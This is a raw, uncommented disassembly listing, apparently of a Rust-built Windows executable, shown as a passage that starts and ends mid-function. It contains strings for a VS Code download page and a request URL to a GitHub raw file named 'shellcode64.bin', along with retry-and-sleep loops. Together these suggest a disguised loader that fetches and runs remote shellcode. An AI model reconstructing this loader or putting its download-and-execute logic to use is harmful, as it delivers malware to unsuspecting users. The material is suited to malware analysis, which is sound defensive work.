mov rcx, r14
mov rdx, qword [rbp + 0x538]
call fcn.140102380
test rdi, rdi
mov rbx, qword [rbp + 0x608]
je 0x14010c5e9
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, r14
call r13
mov dil, 1
test r12, r12
je 0x14010c604
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, qword [rbp + 0x5f0]
call r13
mov al, 1
lea r12, [rbp + 0x70]
lea r14, [rbp + 0x180]
mov byte [rsi + 0x148], al
mov edx, dword [rbp + 0x614]
cmp dl, 2
je 0x14010c6b4
nop word cs:[rax + rax]
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010c6b4
cmp eax, 1
je 0x14010c68e
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x1400f48e0]
call fcn.1400de7b0
mov byte [rbx + 0x128], 1
mov rbx, qword [rbp + 0x608]
mov edx, dword [rbp + 0x614]
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], dl
movzx ecx, byte [rbp + 0x604]
mov byte [rax + 0x125], cl
cmp dil, 2
jne 0x14010c830
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x14010c78a
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xd0]
mov eax, 2
xor ecx, ecx
lock cmpxchg qword [r14 + 0x10], rcx
je 0x14010b413
lea rdi, [r14 + 0x20]
xor eax, eax
mov dl, 1
lock cmpxchg byte [r14 + 0x20], dl
jne 0x14010c7f4
xor eax, eax
mov edx, 1
lock cmpxchg qword [r14 + 0x10], rdx
jne 0x14010b3f0
lea rbx, [r14 + 0x18]
nop word [rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r9d, 0x3b9aca00
call fcn.140041400
xor ecx, ecx
mov eax, 2
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x14010c740
jmp 0x14010b400
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp - 0x40]
call fcn.140109a40
mov r13, qword [rsi]
jmp 0x14010b855
test rax, rax
jne 0x14010e047
call fcn.1401300e0
jmp 0x14010c6e2
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
test r14, r14
jne 0x14010c2e5
jmp 0x14010c2f4
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test r12, r12
je 0x14010c34c
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, qword [rbp + 0x5f0]
call r13
lea r12, [rbp + 0x70]
jmp 0x14010b830
mov rcx, rdi
call fcn.140129d50
xor ecx, ecx
xor eax, eax
mov edx, 1
lock cmpxchg qword [r14 + 0x10], rdx
je 0x14010c736
jmp 0x14010b3f0
test r12, r12
je 0x14010c34c
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, r10
jmp 0x14010c7e8
mov rax, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x4d0]
call qword [rax + 0x18]
lea rcx, [rbp + 0x5a0]
call fcn.1400f1250
mov rax, qword [rbp + 0x5c0]
test dil, 1
jne 0x14010c9f5
test rax, rax
je 0x14010c86d
mov rcx, qword [rbp + 0x5c8]
call qword [rax + 0x18]
cmp dword [rbp + 0x2a0], 2
mov rdi, qword [rbp + 0x4f0]
je 0x14010b310
lea rcx, [rbp + 0x2a0]
call fcn.14010e620
jmp 0x14010b310
test rax, rax
jne 0x14010e22d
call fcn.1401300e0
jmp 0x14010b38f
mov rcx, qword [rbp + 0x4f8]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x14010e004
mov qword [rbp + 0x2a0], 0
mov qword [rbp + 0x2a8], rcx
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x2c0]
movups xmmword [rax], xmm0
mov qword [rbp + 0x2d0], 8
mov qword [rbp + 0x2d8], 0
mov qword [rbp + 0x2e0], rdi
mov qword [rbp + 0x5e0], rdi
mov rax, qword [rbp + 0x2a0]
mov rcx, qword [rbp + 0x2a8]
mov rdx, qword [rbp + 0x2b0]
mov r8, qword [rbp + 0x2b8]
movups xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x5c0], xmm1
mov qword [rbp + 0x5b0], rdx
mov qword [rbp + 0x5b8], r8
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], rcx
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x5d8], rax
cmp dword [rbp + 0x5a0], 1
je 0x14010e41d
cmp qword [rbp + 0x5b0], 0
jne 0x14010e45b
mov rax, qword [rbp + 0x58]
mov rdi, qword [rax + 0x10]
mov qword [rbp + 0x5b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x5b8]
mov qword [rbp + 0x5b8], 0
test rsi, rsi
je 0x14010e467
mov qword [rbp + 0x5b0], 0
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14010ca22
cmp eax, 1
je 0x14010ca4f
mov rcx, rsi
call fcn.1400a31d0
jmp 0x14010ded6
test rax, rax
je 0x14010ca04
mov rcx, qword [rbp + 0x5c8]
call qword [rax + 0x18]
cmp dword [rbp + 0x2a0], 2
je 0x14010deab
lea rcx, [rbp + 0x2a0]
call fcn.14010e620
jmp 0x14010deab
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x14010aec0]
call fcn.1400de7b0
mov byte [rbx + 0x128], 1
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x110]
mov qword [rbp + 0x538], rcx
lea rcx, [rbp + 0x5a0]
mov qword [rax + 0x110], rcx
mov rax, qword [rbp + 0x5a8]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x14016af30]
mov qword [rbp + 0x4c8], rdx
mov qword [rbp + 0x4d0], rcx
lea rcx, [rbp + 0x4c8]
mov qword [rbp + 0x2e8], rcx
mov qword [rbp + 0x2f0], rcx
mov qword [rbp + 0x2f8], 0
lea rcx, [rdi + 0x140]
mov qword [rbp + 0x598], rcx
lea rcx, [rdi + 8]
mov qword [rbp + 0x608], rcx
lea rcx, [rdi + 0x28]
mov qword [rbp + 0x5f8], rcx
lea rcx, [rdi + 0x118]
mov qword [rbp + 0x578], rcx
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x14010da30
cmp qword [rbp + 0x5b0], 0
jne 0x14010e1fd
mov qword [rbp + 0x5b0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5b8]
test rcx, rcx
je 0x14010cb40
call fcn.1400a31d0
mov rax, qword [rbp + 0x5b0]
inc rax
jmp 0x14010cb42
xor eax, eax
mov qword [rbp + 0x5b8], rsi
mov qword [rbp + 0x5b0], rax
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010cc60
cmp eax, 1
mov rsi, qword [rbp + 0x608]
je 0x14010cbb3
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x14010aec0]
call fcn.1400de7b0
mov byte [rsi + 0x128], 1
mov rsi, qword [rbp + 0x608]
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rax + 0x124]
mov dword [rbp + 0x604], ecx
movzx ecx, byte [rax + 0x125]
mov byte [rbp + 0x5f0], cl
mov word [rax + 0x124], 0x8001
movzx eax, byte [rdi + 0x148]
test eax, eax
je 0x14010cc7c
cmp eax, 3
jne 0x14010e141
mov rax, qword [rbp + 0x598]
movzx eax, byte [rax]
test eax, eax
je 0x14010ce10
cmp eax, 3
jne 0x14010e1f1
nop dword [rax]
cmp dword [rsi], 2
jne 0x14010d290
mov rax, qword [rdi + 0x10]
mov qword [rdi + 0x10], 0
test rax, rax
je 0x14010e06f
mov qword [rbp + 0x180], 3
mov qword [rbp + 0x188], rax
jmp 0x14010d3a0
mov dword [rbp + 0x604], eax
mov rsi, qword [rbp + 0x608]
movzx eax, byte [rdi + 0x148]
test eax, eax
jne 0x14010cbf8
lea rsi, [0x140190b60]
mov qword [rbp + 0x310], rsi
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
lea rbx, [rbp + 0x310]
mov rcx, rbx
call fcn.1400e8db0
mov qword [rbp + 0x310], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x310]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14010e3e2
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x70], r14
lea rax, [0x14000a5c0]
mov qword [rbp + 0x78], rax
lea rax, str.Time:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x320], r12
mov qword [rbp + 0x328], 1
mov rcx, rbx
call fcn.1400e8db0
mov qword [rbp + 0x310], rsi
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
mov rcx, rbx
call fcn.1400e8db0
mov qword [rbp + 0x310], rsi
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
mov rcx, rbx
call fcn.1400e8db0
mov ecx, 5
call fcn.1400df3d0
jmp 0x14010ce20
lea rbx, [rbp + 0x310]
jmp 0x14010ce2a
mov rax, qword [rbp + 0x598]
mov byte [rax], 0
mov rcx, rbx
call fcn.140068460
mov rcx, rbx
call fcn.140068ea0
mov rsi, rdx
test al, 1
jne 0x14010e255
mov qword [rdi], rsi
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x500], 0
mov qword [rbp + 0x510], 0
mov r9d, 0x26
mov rcx, r12
lea rdx, [rbp + 0x500]
lea r8, str.https:__code.visualstudio.com_download
call fcn.140115090
mov rbx, qword [rbp + 0x70]
mov rax, rbx
neg rax
jno 0x14010cf20
movzx r14d, byte [rbp + 0x78]
movzx eax, byte [0x1401a2308]
mov edx, 1
xor ecx, ecx
call fcn.1400ea350
test rax, rax
je 0x14010e087
mov rbx, rax
mov byte [rax], r14b
movzx eax, byte [0x1401a2308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400ea350
test rax, rax
je 0x14010e038
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], rbx
lea rcx, [0x14015bfe0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov ecx, 2
lea r14, [rbp + 0x180]
lock inc qword [rsi]
jg 0x14010d0b0
jmp 0x14010e004
mov r14, qword [rbp + 0x78]
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movzx eax, byte [rbp + 0xb0]
mov rcx, qword [r15 + 0x40]
mov qword [rbp + 0x58f], rcx
movups xmm0, xmmword [r15 + 0x31]
movaps xmmword [rbp + 0x580], xmm0
test al, al
je 0x14010d020
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x90], xmm2
movaps xmmword [rbp + 0x80], xmm1
movaps xmmword [rbp + 0x70], xmm0
movaps xmm3, xmmword [rbp + 0x580]
movaps xmmword [rbp + 0x500], xmm3
mov rcx, qword [rbp + 0x58f]
mov qword [rbp + 0x50f], rcx
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x580], xmm0
mov rcx, qword [rbp + 0x50f]
mov qword [rbp + 0x58f], rcx
movaps xmmword [rbp + 0x60], xmm6
mov qword [rbp + 0x4d8], rbx
mov qword [rbp + 0x4e0], r14
mov byte [rbp + 0x614], al
xor ecx, ecx
lea r14, [rbp + 0x180]
lock inc qword [rsi]
jg 0x14010d0b0
jmp 0x14010e004
movzx eax, byte [0x1401a2308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400ea350
test rax, rax
je 0x14010e038
mov qword [rax + 0x58], 1
lea rcx, [0x14015bef0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], rbx
mov qword [rax + 8], r14
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [rax + 0x41], xmm0
mov rcx, qword [rbp + 0x58f]
mov qword [rax + 0x50], rcx
mov ecx, 2
lea r14, [rbp + 0x180]
lock inc qword [rsi]
jle 0x14010e004
nop dword [rax]
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x510]
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [r15], xmm0
mov qword [rbp + 0x98], 0
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [r15 + 0x20], xmm0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 8
movaps xmm0, xmmword [rbp + 0x60]
movups xmmword [r15 + 0x40], xmm0
mov qword [rbp + 0xd0], 8
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 2
mov qword [rbp + 0xe8], 0
mov word [rbp + 0xf0], 0
movzx eax, word [rbp + 0x534]
mov word [r15 + 0x76], ax
mov eax, dword [rbp + 0x530]
mov dword [r15 + 0x72], eax
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0x100], rax
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [r15 + 0xa8], xmm2
movups xmmword [r15 + 0x98], xmm1
movups xmmword [r15 + 0x88], xmm0
movzx eax, byte [rbp + 0x614]
mov byte [rbp + 0x138], al
mov rax, qword [rbp + 0x58f]
mov qword [r15 + 0xc8], rax
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [r15 + 0xb9], xmm0
mov dword [rbp + 0x158], 0x3b9aca00
mov byte [rbp + 0x160], 1
mov dword [r15 + 0xe4], 0
mov dword [r15 + 0xe1], 0
movups xmmword [r15 + 0xe8], xmm6
mov byte [rbp + 0x178], 2
mov rcx, r14
mov rdx, rsi
mov r8, r12
call fcn.140071c70
cmp dword [rbp + 0x180], 2
jne 0x14010d240
mov qword [rbp + 0x310], 2
mov rax, qword [rbp + 0x188]
mov rsi, qword [rbp + 0x290]
mov qword [rbp + 0x318], rax
lock dec qword [rsi]
je 0x14010d25f
jmp 0x14010d26b
mov rsi, qword [rbp + 0x290]
lea rcx, [rbp + 0x310]
mov rdx, rsi
mov r8, r14
call fcn.14006b590
lock dec qword [rsi]
jne 0x14010d26b
lea rcx, [rbp + 0x290]
call fcn.1400c0db0
mov r8d, 0x138
mov rsi, qword [rbp + 0x608]
mov rcx, rsi
lea rdx, [rbp + 0x310]
call fcn.1401253f0
cmp dword [rsi], 2
je 0x14010cc29
mov rcx, r14
mov rdx, rsi
lea r8, [rbp + 0x2e8]
call fcn.14006e120
cmp qword [rbp + 0x180], 4
jne 0x14010d3a0
mov rax, qword [rbp + 0x598]
mov byte [rax], 3
mov sil, 3
mov bl, 1
mov byte [rdi + 0x148], sil
mov edx, dword [rbp + 0x604]
cmp dl, 2
je 0x14010d34e
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010d34e
cmp eax, 1
je 0x14010d328
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x1400f48e0]
call fcn.1400de7b0
mov byte [rsi + 0x128], 1
mov edx, dword [rbp + 0x604]
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], dl
movzx ecx, byte [rbp + 0x5f0]
mov byte [rax + 0x125], cl
cmp qword [rbp + 0x5b0], 0
jne 0x14010e221
mov qword [rbp + 0x5b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x5b8]
mov qword [rbp + 0x5b8], 0
test rsi, rsi
je 0x14010e209
mov qword [rbp + 0x5b0], 0
test bl, bl
jne 0x14010da30
jmp 0x14010dd21
mov r8d, 0x98
lea rcx, [rbp - 0x40]
mov rdx, r14
call fcn.1401253f0
cmp dword [rsi], 2
jne 0x14010d430
mov rsi, qword [rdi + 0x10]
test rsi, rsi
je 0x14010d69f
mov rbx, qword [rsi + 0x58]
test rbx, rbx
je 0x14010d3ff
mov r14, qword [rsi + 0x60]
mov rax, qword [r14]
test rax, rax
je 0x14010d3de
mov rcx, rbx
call rax
cmp qword [r14 + 8], 0
je 0x14010d3ff
cmp qword [r14 + 0x10], 0x11
jb 0x14010d3f0
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rbx
call r13
mov rax, qword [rsi]
neg rax
jo 0x14010d419
jae 0x14010d419
mov r8, qword [rsi + 8]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
lea r14, [rbp + 0x180]
jmp 0x14010d690
cmp byte [rdi + 0x100], 0xa
jb 0x14010d456
cmp qword [rdi + 0x110], 0
je 0x14010d456
mov r8, qword [rdi + 0x108]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
cmp qword [rdi + 0x90], 0
je 0x14010d473
mov r8, qword [rdi + 0x98]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
cmp qword [rdi + 0x80], 0
je 0x14010d48d
mov r8, qword [rdi + 0x78]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x14010d4e0
mov rsi, qword [rdi + 0x50]
add rsi, 0x30
jmp 0x14010d4bb
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rbx
je 0x14010d4e0
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14010d4a0
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14010d4a0
cmp qword [rdi + 0x48], 0
je 0x14010d4f7
mov r8, qword [rdi + 0x50]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rbx, qword [rdi + 0x70]
test rbx, rbx
je 0x14010d52b
mov rsi, qword [rdi + 0x68]
add rsi, 0x38
nop dword [rax + rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rbx
jne 0x14010d510
cmp qword [rdi + 0x60], 0
je 0x14010d542
mov r8, qword [rdi + 0x68]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rax, qword [rbp + 0x608]
cmp qword [rax], 0
je 0x14010d56a
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14010d56a
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
mov rcx, qword [rbp + 0x5f8]
call qword [rax + 0x10]
mov rsi, qword [rdi + 0xf8]
test rsi, rsi
je 0x14010d5c0
mov rbx, qword [rdi + 0xf0]
add rbx, 8
jmp 0x14010d599
add rbx, 0x58
dec rsi
je 0x14010d5c0
cmp qword [rbx - 8], 0
je 0x14010d590
mov r8, qword [rbx]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
jmp 0x14010d590
cmp qword [rdi + 0xe8], 0
je 0x14010d5dd
mov r8, qword [rdi + 0xf0]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rax, qword [rbp + 0x578]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14010d5f9
mov rcx, qword [rbp + 0x578]
call fcn.140001680
mov rsi, qword [rdi + 0x120]
mov rbx, qword [rdi + 0x128]
mov rax, qword [rbx]
test rax, rax
je 0x14010d614
mov rcx, rsi
call rax
cmp qword [rbx + 8], 0
je 0x14010d635
cmp qword [rbx + 0x10], 0x11
jb 0x14010d626
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rsi
call r13
mov rsi, qword [rdi + 0x138]
test rsi, rsi
je 0x14010d69f
mov rcx, rsi
call fcn.1400fe8d0
lea rcx, [rsi + 8]
test byte [rsi], 1
je 0x14010d670
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14010d680
call fcn.140004760
jmp 0x14010d680
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14010d680
call fcn.140002ed0
nop
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x14010d690
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rsi
call r13
cmp dword [rbp - 0x40], 3
jne 0x14010d700
lea rax, [0x140190b60]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x190], 8
movups xmmword [rbp + 0x198], xmm6
mov rcx, r14
call fcn.1400e8db0
mov ecx, 3
call fcn.1400df3d0
lea rcx, [rbp - 0x40]
call fcn.140109a40
mov rsi, qword [rdi]
jmp 0x14010ce48
lea rax, [0x140190b60]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x190], 8
movups xmmword [rbp + 0x198], xmm6
mov rcx, r14
call fcn.1400e8db0
lea rcx, [rbp - 0x40]
call fcn.140109a40
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14010d74d
mov rcx, rdi
call fcn.140001680
mov rax, qword [rbp + 0x598]
mov byte [rax], 1
lea rsi, str.REQWEST_URLhttps:__github.com_deliverrachel_testing_eijchkj_jhkjhncka_cakjshckj_raw_main_shellcode64.bin
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 0xb
lea rdx, [0x140190bfb]
mov qword [rbp + 0x70], rdx
mov qword [rbp + 0x78], 0x5d
mov rcx, rsi
call fcn.1400edf90
test rax, rax
jne 0x14010e261
mov r8d, 0xb
lea rcx, [rbp + 0x310]
mov rdx, rsi
call fcn.1400e32e0
mov r13, qword [rbp + 0x310]
mov rax, r13
neg rax
jno 0x14010d7d0
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x310]
jmp 0x14010ce20
mov rbx, qword [rbp + 0x318]
mov r8, qword [rbp + 0x320]
test byte [rbp + 0x328], 1
jne 0x14010d880
test r8, r8
je 0x14010d880
lea rax, [rbx + r8]
mov rdx, rbx
jmp 0x14010d818
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14010d880
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14010d810
cmp r9b, 0xe0
jb 0x14010d7fd
cmp r9b, 0xed
jne 0x14010d84e
cmp rcx, rax
je 0x14010d880
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14010d880
cmp byte [rdx + 1], 0x9f
ja 0x14010d8a4
add rdx, 3
mov rcx, rdx
jmp 0x14010d810
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14010d810
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14010d810
mov rcx, r14
mov rdx, rbx
call fcn.140104460
mov rsi, qword [rbp + 0x180]
mov rax, rsi
neg rax
jno 0x14010d8d0
mov ecx, 5
call fcn.1400df3d0
test r13, r13
je 0x14010d7b2
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rbx
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
call r13
lea rbx, [rbp + 0x310]
jmp 0x14010ce20
mov qword [rbp + 0x4f8], rbx
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x4f0], rax
call fcn.140104cc0
call fcn.140102470
mov r14, rax
and eax, 3
cmp eax, 1
jne 0x14010d95d
mov rbx, qword [r14 - 1]
mov r12, qword [r14 + 7]
mov rax, qword [r12]
test rax, rax
je 0x14010d91e
mov rcx, rbx
call rax
cmp qword [r12 + 8], 0
je 0x14010d944
cmp qword [r12 + 0x10], 0x11
jb 0x14010d932
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
dec r14
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r12, [rbp + 0x70]
lea rbx, [rbp + 0x310]
mov rcx, rbx
call fcn.140102850
cmp qword [rbp + 0x310], 0
je 0x14010d988
mov rcx, qword [rbp + 0x318]
test rcx, rcx
je 0x14010d988
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400df3d0
call fcn.140105d60
lea rax, [0x140190b60]
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
mov rcx, rbx
call fcn.1400e8db0
mov rbx, qword [rbp + 0x4e8]
mov rcx, rbx
mov rdx, qword [rbp + 0x4f0]
call fcn.140102380
test rsi, rsi
je 0x14010d9f7
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 1
test r13, r13
je 0x14010da20
mov rcx, qword [0x1401a2270]
xor ebx, ebx
xor edx, edx
mov r8, qword [rbp + 0x4f8]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
call r13
jmp 0x14010d2bf
xor ebx, ebx
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14010d2bf
mov r8, qword [rbp + 0x5a8]
mov r14d, dword [r8 + 0x40]
test r14d, r14d
je 0x14010dc27
nop word cs:[rax + rax]
cmp byte [rsi + 0x68], 0
jne 0x14010dcc8
inc dword [rsi + 0x60]
mov rdx, qword [rbp + 0x5a8]
add rdx, 0x10
mov rcx, rsi
call fcn.1400f3e20
test rax, rax
je 0x14010dc60
cmp qword [rbp + 0x5b0], 0
jne 0x14010e1fd
mov rbx, rax
mov qword [rbp + 0x5b0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5b8]
test rcx, rcx
je 0x14010dac0
call fcn.1400a31d0
mov rax, qword [rbp + 0x5b0]
inc rax
jmp 0x14010dac2
xor eax, eax
mov qword [rbp + 0x5b8], rsi
mov qword [rbp + 0x5b0], rax
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx esi, byte [rax + 0x128]
cmp esi, 2
je 0x14010db50
cmp esi, 1
je 0x14010db21
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x14010aec0]
call fcn.1400de7b0
mov byte [rsi + 0x128], 1
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx esi, byte [rax + 0x124]
movzx r13d, byte [rax + 0x125]
mov word [rax + 0x124], 0x8001
jmp 0x14010db50
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax]
cmp sil, 2
je 0x14010dbd1
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010dbd1
cmp eax, 1
je 0x14010dbb0
mov eax, dword [0x1401a230c]
